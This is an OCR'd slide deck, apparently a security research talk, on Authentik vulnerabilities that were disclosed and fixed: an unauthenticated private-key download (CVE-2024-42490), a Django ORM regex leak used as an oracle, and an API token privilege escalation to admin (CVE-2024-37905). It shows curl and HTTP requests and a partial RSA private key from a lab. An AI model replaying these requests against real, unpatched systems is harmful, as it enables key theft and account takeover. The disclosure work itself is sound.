authen	tik	≡	بر Impo	Certificate-Key Pairs rt certificates of external providers or cre	eate certificates to sig	n requests with.		>
Logs Notification Rules		Sea	rch	× Q. Create	Generate	Refresh Delete	1-2	of 2 < >
Notification Transports				Name 4	Private key availab	Expiry date	Actions	
Customization	>		>	authentik Self-signed Certificate	✓ Yes (RSA)	✓ 31/07/2025, 14:45:58	ľ	A
Flows and Stages	>		>	authentik.m2a.local	Yes (RSA)	✓ 21/08/2025, 12:56:16	ľ	A
Directory	>							
System	~						1-20	f2 < >
Brands								
Certificates								
Settings								
Enterprise	>							
•	÷							
Admi	in c	on	S	ole - certific	cates	manage	eme	ent

DOWNLOAD

authent	ik :	Certificate-Key Pairs Import certificates of external providers or of	create certificates to sign requests with.	
Аррисацонь	•			
Events Logs	*	Search X Q Crea	te Generate Refresh Delete	1-2 of 2 < >
Notification Rules		Name ↓	Private key available? Expiry date	Actions
Notification Transports	1	authentik Self-signed Certificate	✓ Yes (RSA)	e 🔒
Customization	>	authentik.m2a.local	✓ Yes (RSA)	(2)
Flows and Stages	>			
Directory	>	Certificate cc:lc:89:0e:55:b9:c4:41:9f:6au Fingerprint	:b:45:07:ea:f3:5e:86:39:72:3a	
System Brands Certificates	Ť	(SHAI) Certificate c5:5b:0d:2a:ea:a8:6d:75:b5:5b Fingerprint (SHA256)	5	
Outpost Integrations		Certificate OU=Self-signed,O=authentik, Subject	CN=authentik m2a.local	
Settings		Download Download Certificate	Download Private key	

Admin - download private key

CAN A USER DOWNLOAD THE CERTIFICATE?



• Let's Try

\$ curl -s -k \$'https://authentik.m2a.local/api/v3/crypto/certificatekeypairs/ 6c8b5bb-cd2d-435e-a1f2-e341a0c8e4f5/view_private_key/?download='

Request Private key Download (No Auth)

CAN A USER DOWNLOAD THE CERTIFICATE?

- Whoops
- Anyone! could download the private key!

\$ curl -s -k \$'https://authentik.m2a.local/api/v3/crypto/certificatekeypairs/ 6c8b5bb-cd2d-435e-a1f2-e341a0c8e4f5/view_private_key/?download='

----BEGIN RSA PRIVATE KEY-----

MIIJJWIBAAKCAGEA3jghLN8BIAfm+dIXLs01Dpas]+aRq19ifQ+D+xqI0F3tw7xX zxldTIuKf3l/sqSMGt5IgRScpExfDlnnSZ6vUJ4tTiEYi9RuKlQQUyrV9hfLt7xx J3pdtmjEeH7EGMBQlGGhnIdjWJAGTOXQ29RQgilCfLX9t0nbMihhQ4mUEYf9cKBX p4sz+F0+ot7C7jfvMUYTrYn17jndfM/UqoiZDI98Y5JjhUWPWbLgFaK461MIkOOA BwmkdAV+k23AXi6Cqs0Kqzoavg4F+MsXYIfFB4Z161nSLYqWzXHwnBmzWnD76ev5 N/I0igsYirp6y6hL10ret/EwPlS6ThCXnzpJOUc1tZDLF5B27LHhNW98/O3v2R0x 2VHks0/M65mr3xt37oOck4uLsMjLWHT7g+hgxEULOqvTl298Rp/a84PH5879YjRP 1gMYmrcW39fMre5F4xF9weIvwKoJrYQtMvy0tgYWcWDzQPsIGWhPHmDh2dQKrxI8

Private key Download - No authorization

ANYONE CAN DOWNLOAD THE PRIVATE KEY!

DOWNLOAD THE PRIVATE KEY! LIMITATION

- Whoops
- Anyone! could download the private key!
- Limitation The internal UUID (set by the Authentik server) is required.

\$ curl -s -k \$'https://authentik m2a local/api/v3/crypto/certificatekeypairs/ ic8b5bb-cd2d-435e-a1f2-e341a0c8e4f5/riew_private_key/?download='

----BEGIN RSA PRIVATE KEY-----

MIIJJWIBAAKCAGEA3jghLN8BIAfm+dIXLs01Dpas]+aRq19ifQ+D+xqI0F3tw7xX zxldTIuKf31/sqSMGt5IgRScpExfD1nnSZ6vUJ4tTiEYi9RuKlQQUyrV9hfLt7xx J3pdtmjEeH7EGMBQ1GGhnIdjWJAGTOxQ29RQgilCfLX9t0nbMihhQ4mUEYf9cKBX p4sz+F0+ot7C7jfvMUYTrYn17jndfM/UqoiZDI98Y5JjhUWPWbLgFaK461MIkOOA BwmkdAV+k23Axi6Cqs0Kqzoavg4F+MsXYIfFB4Z161nSLYqWzXHwnBmzWnD76ev5 N/I0igsYirp6y6hL10ret/EwP1S6ThCXnzpJOUc1tZDLF5B27LHhNW98/O3v2R0x 2VHks0/M65mr3xt37o0ck4uLsMjLWHT7g+hgxEULOqvT1298Rp/a84PH5879YjRP 1gMYmrcW39fMre5F4xF9weIvwKoJrYQtMvy0tgYWcWDzQPsIGWhPHmDh2dQKrxI8

Private key Download - No authorization

PRIVATE KEY LEAK, SHOULD WE CARE?

PRIVATE KEY LEAK, WHY SHOULD WE CARE?

- Impersonate the authentik webserver (phishing users/admin)
- Impersonate users' tokens
 - Access to any system trusting authentik.

HOW HARD CAN IT BE TO LEAK A UUID?

HOW HARD CAN IT BE TO LEAK A UUID?

- Into the rabbit hole
- Tried to leak by a few methods
 - The Naive Attempt Leaking the UUID from an API call
 - "There must be one API in which we could leak this data."
 - This attempt failed

HOW HARD CAN IT BE TO LEAK A UUID?

- Into the rabbit hole
- Tried to leak by a few methods
 - The Naive Attempt Leaking the UUID from an API call
 - "There must be one API in which we could leak this data."
 - This attempt failed
 - An excellent article, **pIORMbing** your **Django ORM**, by Elttam
 - **ORM Leak** (Object Relational Mappers)
 - "Insecure use of ORMs can lead to information leaks"

DJANGO ORM LEAK PATTERN

- The pattern we are looking for is:
 - Using the **filter()** method with the **unpacking** operator ****** applied to **user-supplied** data
 - Allowing us to leak some internal data (and hopefully our UUID)

FOUND A PROMISING ORM LEAK INSTANCE - EVENTS API

- Events (Log) API
- API Endpoint
 - /api/v3/events/events/per_month/?query={}
 - Regular (Non-Admin) users can call this API

FOUND A RANDOM API, WHAT IS IT ABOUT ?

FOUND A PROMISING ORM LEAK INSTANCE

Request Pretty Raw Hex GraphQL S IN = 1 GET /api/v3/events/events/per_month/? action=login&query={} HTTP/1.1 2 Host: authentik.m2a.local autherinx.max.action	Response Pretty Raw Hex Render Hackvertor Grep 10 X-Content-Type-Options: nosniff 11 X-Frame-Options: DENY 12 X-Powered-By: authentik 13	■ = ■	d8 Inspector
XNWvJA8sMxra7FlNotwCV17QEh5s5Ci8hlfPClbn0 WQpJiJ08Vixr5oGd2U0	14 [("x_cord":172553931900.0, "y_cord":0), ("x_cord":172545867900.0, "y_cord":0), "x_cord":172537803900.0, "y_cord":0), ("x_cord":172529739900.0, "y_cord":0), (' 1725216759000.0, "y_cord":0), ("x_cord":1725136119000.0, "y_cord":0), ("x_cord": 172655479000.0, "y_cord":0), ("x_cord":1724974839000.0, "y_cord":0), ("x_cord": 1724894199000.0, "y_cord":0), ("x_cord":1724813559000.0, "y_cord":0), ("x_cord": 1724571639000.0, "y_cord":0), ("x_cord":172452279000.0, "y_cord":0), ("x_cord": 1724571639000.0, "y_cord":0), ("x_cord":17249719999000.0, "y_cord":0), ("x_cord": 1724410359000.0, "y_cord":0), ("x_cord":1724329719000.0, "y_cord":0), ("x_cord": 1724249079000.0, "y_cord":0), ("x_cord":1724168439000.0, "y_cord":0), ("x_cord": 172429079000.0, "y_cord":0), ("x_cord":172407159000.0, "y_cord":0), ("x_cord": 1723765239000.0, "y_cord":0), ("x_cord":1723845879000.0, "y_cord":0), ("x_cord": 1723603959000.0, "y_cord":0), ("x_cord":1723684599000.0, "y_cord":0), ("x_cord": 1723603959000.0, "y_cord":0), ("x_cord":1723684599000.0, "y_cord":0), ("x_cord": 1723603959000.0, "y_cord":0), ("x_cord":1723684599000.0, "y_cord":0), ("x_cord": 1723603959000.0, "y_cord":0), ("x_cord":17236839000.0, "y_cord":0), ("x_cord": 1723603959000.0, "y_cord":0), ("x_cord":17236839000.0, "y_cord":0), ("x_cord": 1723603959000.0, "y_cord":0), ("x_cord":17236903900.0, "y_cord":0), ("x_cord": 172360395900.0, "y_cord":0), ("x_cord":1723603900.0, "y_cord":0), ("x_cord": 1723120119000.0, "y_cord":0)]	('x_cord":	CIII Notes
⑦ ⑤ ← → Search ∧ 0 highlights	$ \textcircled{O} \textcircled{O} \leftarrow \rightarrow \boxed{y_cord} \times $	31 matches	
Done	1,51	4 bytes 1,062	: millis

Request to the events/per_month API returns a valid response



EVENTS LOG LEAK - IS IT RELEVANT?

AUTHENTIK EVENTS LOG

User Statistics				to	key_data	1	*****************	
System Tasks			Model Name	certificatekey	last_updated	-	"2024-09-04T13:39:47.970436Z"	
Applications	>				certificate_data	-	"BEGIN CERTIFICATE\nMIIE7TCCAtWgAwIBAgIQwHiDjB1/	
Events	~		✓ Show less					
Logs Notification Rules Notification Transports			Context { "diff": "na	-{ ame": {				
Customization	>		}.	"new_value": "previous_val	"Test events", lue": null			
Flows and Stages	>		"created": { "new_value": "2024-09-04T13:39:47.970419Z", "previous_value": null					
Directory	>							
AA	•		"kr	o_uuid": { <mark>"new_value":</mark> "previous_val	<mark>"6948764cca1f4b8890</mark> lue": null	5dc6d543	32956 f 7",	
	Admin event log - uuid is logged on upload							

HOW HARD CAN IT BE TO LEAK A UUID? ORM LEAK - ORACLE

1 GET /api/v3/events/events/per_month/?
action=login&query={} HTTP/1.1

events/per_month API Request

, {"x_cord":1725459789000.0, "y_cord":1}
, {"x_cord":1725298509000.0, "y_cord":0}
, {"x_cord":1725137229000.0, "y_cord":0}
, {"x_cord":1724975949000.0, "y_cord":0}

1 GET /api/v3/events/events/per_month/?action= model_created&query= {"context_diff_kp_uuid_new_value_regex":"^6.*"} HTTP/1.1

Requesting the events/per_month API using **Regex ORM Leak** , {"x_cord":1725459789000.0, "y_cord":0}
, {"x_cord":1725298509000.0, "y_cord":0}
, {"x_cord":1725137229000.0, "y_cord":0}
, {"x_cord":1724975949000.0, "y_cord":0}

ORM Leak returns a valid response and an Oracle

HOW HARD CAN IT BE TO LEAK A UUID? DEMO ORM LEAK?

П

ORM_LEAK_POC.mp4

ORM Leak Demo - Used admin credentials

YOU CANT ALWAYS WIN

- Events (Log) API
- API Endpoint
 - /api/v3/events/events/per_month/?query={}
 - Regular (Non-Admin) users can call this API
 - But permissions required 🛞 (in the **Database**)

CVE-2024-42490 INFO LEAK - SUMMARY

- Reported the (info leak) issue to the Authentik security team
 - Confirmed, assigned <u>CVE-2024-42490</u>, and fixed.
AUTHENTIK PRIVILEGE ESCALATION (CVE-2024-37905)

PART 2 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
- Part 2 Authentik Research & ORM Leaks
 - (Short) Technical Background
 - Sensitive Information Leak (CVE-2024-42490)
 - ORM Leaks
 - Privilege Escalation (CVE-2024-37905)
 - Demo

LOGIN AS A NON-ADMIN USER



A. T. A.

Welcome to authentik!

Email or Usernam	ne *
m2a	
	Log in
	Pourse of he structure till
2012A B 😒	Powered by equilerink
	Login Page
	LUGITTUGU

USER SETTINGS - TOKENS

Jser details	Coards Taken Create Ann paceword Refresh Dale	to
Sessions	Identifier 1	le
Consent		
MFA Devices	8	
Connected services		
Tokens and App passwords	No objects found.	
	Settinas-> Tokens management Page	

		CREATE DEMO TOKEN	
ec C	Create Token	Saarch Y O Craata Takan Craata App password Defrach Delata	×
ioi IE De	lentifier * escription	Demo_User_Token	
ok	Create	Cancel	
		Create Demo Token	

COPY API KEY, EDIT ??

ldentifier	1	Edit	Copy token	
🗌 👻 Demo_Us	ser_Token	Ľ	Li I	
User	m2a			
Expiring	✓ Yes			
Expiring	in 29 minutes			
Intent	API Access			

	UPDATE TOKEN (EXPIRATION)	
e Update Tok	Create Tokon Create App Bassword Bofrach	Delate X
o: Identifier * IF.	Demo_User_Token	
Description Of Update	Cancel	
	Token Edit -> Update (expiration)	

LET'S INSPECT THE TOKEN UPDATE REQUEST

TOKEN UPDATE REQUEST - AN INTERESTING RESPONSE

Request	Response	
à 🗖 in =	Parte Provide Deader Com	n =
Pretty Raw Hex 🔍 🔁 🖬 =	Pretty Raw Hex Render Grep	
<pre>1 PUF /api//3/core/tokens/User-Token/ HTTP/1.1 1 Host: authentik_csrf=R0DgTnubIvTX1Ks2B4a7EKOXMi2orbgf; authentik_ession= 9 cookie: authentik_csrf=R0DgTnubIvTX1Ks2B4a7EKOXMi2orbgf; authentik_ession= 9 aylaFiNtrifEjY02TymwDJ32Gev2j02GeszToior050WE0NeBj2EN 12DYyMj1jMjgwOONZEDMmalMTA2OWOW1pmwGB4YeMiCdh4R03W5 0 aWNIddvKipjOcrvLCdrW3IoiJnb21d6hlbnRpay5pb9j3JL2E 12mFlbHQifQ.ups0eiBIjASPISev5T_8cRqCVqr3z9_ClJbJmAQ864 4 Content-Length: 64 5 User-Agent: Mosila/5.0 (Windows NT 10.0; Win64; x64) App1eWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 safari/537.36 6 Content-Type: application/json 7 X-Authentik-Csrf: R0DgTmubTVXIKIED8a7EKOXNi2orbgf 8 Origin: https://authentik.m2a.local/if/user/ 1 ("identifier": "User-Token", "intenc": "api", "description": "test1" } </pre>	<pre>1 HTTP/1.1 200 oK 2 Allow: GET, PUR, PATCH, DELETE, HEAD, OPTIONS 3 Content-Length: 1164 4 Content-Type: application/json 5 Date: Thu, D5 Sep 2024 11:15:10 GWT 6 Referrer-Dolicy: same-origin 7 Vary: Accept-Encoding 8 V-Authentik-Td1: 537b3f47c9da4d3c95e4b7b3f45cfff 10 X-Content-Type-Options: nosniff 11 X-Frame-Options: DENY 12 X-Powerd-By: authentik 13 14 ("pk":"ddebd04f-a321-4aa2-8300-412b24f4885f", "managed":null, "identifier":"User-Token", "intent":"api", "user:obj":("pk":"ddebd04f-a321-4aa2-8300-412b24f4885f", "managed":null, "identifier":"User-Token", "intent":"api", "user:obj":("pk":"ddebd04f-a321-4aa2-8300-412b24f4885f", "managed":null, "identifier":"User-Token", "intent":"api", "user:obj":("pk":", "user:inten, "is_active":true, "is_active":true, "is_active":filse, "groups':[], "groups_obj":[], "groups_obj":[], "groups_chj":[], "groups_chj":[], "groups_chj":[], "groups_obj":[], "groups_chj":[],], "groups_chj":[],],],</pre>	Ny5 vcmcvNjA

Update-token request

TOKEN UPDATE REQUEST - AN INTERESTING RESPONSE

Chrome/127.0.6533.100 Safari/537.36 6 Content-Type: application/json 7 X-Authentik-Csrf: RODgTnubIvTX1Kz2B4a7EKOXNi2orbgf 8 Origin: https://authentik.m2a.local 9 Referer: https://authentik.m2a.local/if/user/ 10

"identifier": "User-Token", "intent": "api", "description": "testl"

11 {

14 {

"pk":"ddebd04f-a321-4aa2-8300-412b24f4885f",
"managed":null,
"identifier":"User-Token",
"intent":"api",
"user":7,
"user_obj":{
 "pk":7,
 "username":"m2a",
 "name":"M2A",
 "is_active":true,
 "last_login":"2024-09-05T11:12:30.014004z",
 "is_superuser":false,
 "groups":[

Update-token request

WHAT IF WE TRY TO UPDATE THE USER?

WHAT IF WE TRY TO	UPDATE THE USER?
<pre>8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36 0 Content-Length: 77 1 2 { "identifier":"user_token_poc_v4", "intent":"api", 3 "user":6, "description":"" }</pre>	<pre>14 { "pk": "bfd10265-b9ee-4bf0-a0aa-1058ed1c2556", "managed":null, "identifier": "user_token_poc_v4", "intent": "api", "user_obj": { "pk": 6, "user_obj": { "pk": 6, "username": "akadmin", "name": "u_1658", "is_active": true, "last_login": "2024-06-09T08:56:31.4544622", "is_superuser": true,</pre>
(PUT) Update-tokei	n user property

AUTHENTIK DEMO – API TOKEN PRIVILEGE ESCALATION

Demo Video - Authentik CVE-2024-37905 POC.mp4

AUTHENTIK DEMO – API TOKEN PRIVILEGE ESCALATION



WE HAVE AN ADMIN API KEY => FULL CONTROL OF THE SYSTEM!

CVE-2024-37905 - PRIVILEGE ESCALATION - SUMMARY

- Reported the issue to the Authentik security team
 - Confirmed, assigned <u>CVE-2024-37905</u>, and fixed.

RECAP & TAKEAWAYS

RECAP

- Part 1 Keycloak Research
 - Technical Background (IDP & Multithreading)
 - Web Race Conditions
 - The Single-Packet Attack & HTTP2
 - Evaluation on Keycloak & Demo
- Part 2 Authentik Research
 - Technical Background (Object Relational Mappers)
 - Private Key Information Leak (CVE-2024-42490) & ORM Leaks
 - Authentik Privilege Escalation (CVE-2024-37905) & Demo

RESEARCH TAKEAWAYS

- HTTP
 - HTTP request processing isn't atomic
 - HTTP2 Is Binary, Using Streams
- The single-packet attack can be used to test web applications for race conditions
- Developers:
 - Ensure sensitive endpoints make state changes "atomic" (in the API as well)
 - Double-check access restrictions on sensitive endpoints
 - Avoid direct manipulations on (API) tokens
 - When using ORMs; Be aware of vulnerable patterns and safe use

REFERENCES

- https://portswigger.net/research/smashing-the-state-machine
- https://www.elttam.com/blog/plormbing-your-django-orm/
- <u>https://wiki.wireshark.org/TLS</u>
- <u>https://github.com/neykov/extract-tls-secrets</u>
- <u>https://portswigger.net/web-security/race-conditions</u>
- https://docs.djangoproject.com/en/5.1/topics/db/models/
- <u>https://www.hackerone.com/vulnerability-management/stripe-business-logic-error-bug</u>
- <u>https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/</u>
- <u>https://docs.goauthentik.io/docs/developer-docs/?utm_source=github#authentiks-structure</u>
- <u>https://www.geeksforgeeks.org/multithreaded-servers-in-java/</u> (image)
- <u>https://www.karanpratapsingh.com/courses/system-design/single-sign-on</u> (image)

ONE MORE THING :)

BUILT-IN IMPERSONATION (WE ARE THE ADMIN)

User folders	Search	×Q	Create Service account	Refresh	Hide deactivated user
🗸 🗁 Root	Delete				1-7 of 7 🔧 🔪
> 🖿 goauthentik.io		Name 👃	Active 1 Last login 1	Туре 1	Actions
users	• •	CFO <no name="" set=""></no>	✓ Yes -	Internal	Impersonate
	□ >	CISO <no name="" set=""></no>	Ves -	Internal	I mpersonate
	• •	CTO <no name="" set=""></no>	✓ Yes -	Internal	☑* Impersonate
		Imperso	nation		

YOUR IDENTITY IS MINE! ;)



READ MORE AT OUR BLOG POSTS & THANK YOU

Keycloak – Blogpost:

https://www.cyberark.com/resources/threat-researchblog/you-cant-always-win-racing-the-keycloak

Authentik – Blogpost:

https://www.cyberark.com/resources/threat-researchblog/lets-be-authentik-you-cant-always-leak-orms

Contact (LinkedIn):

https://il.linkedin.com/in/maor-abutbul







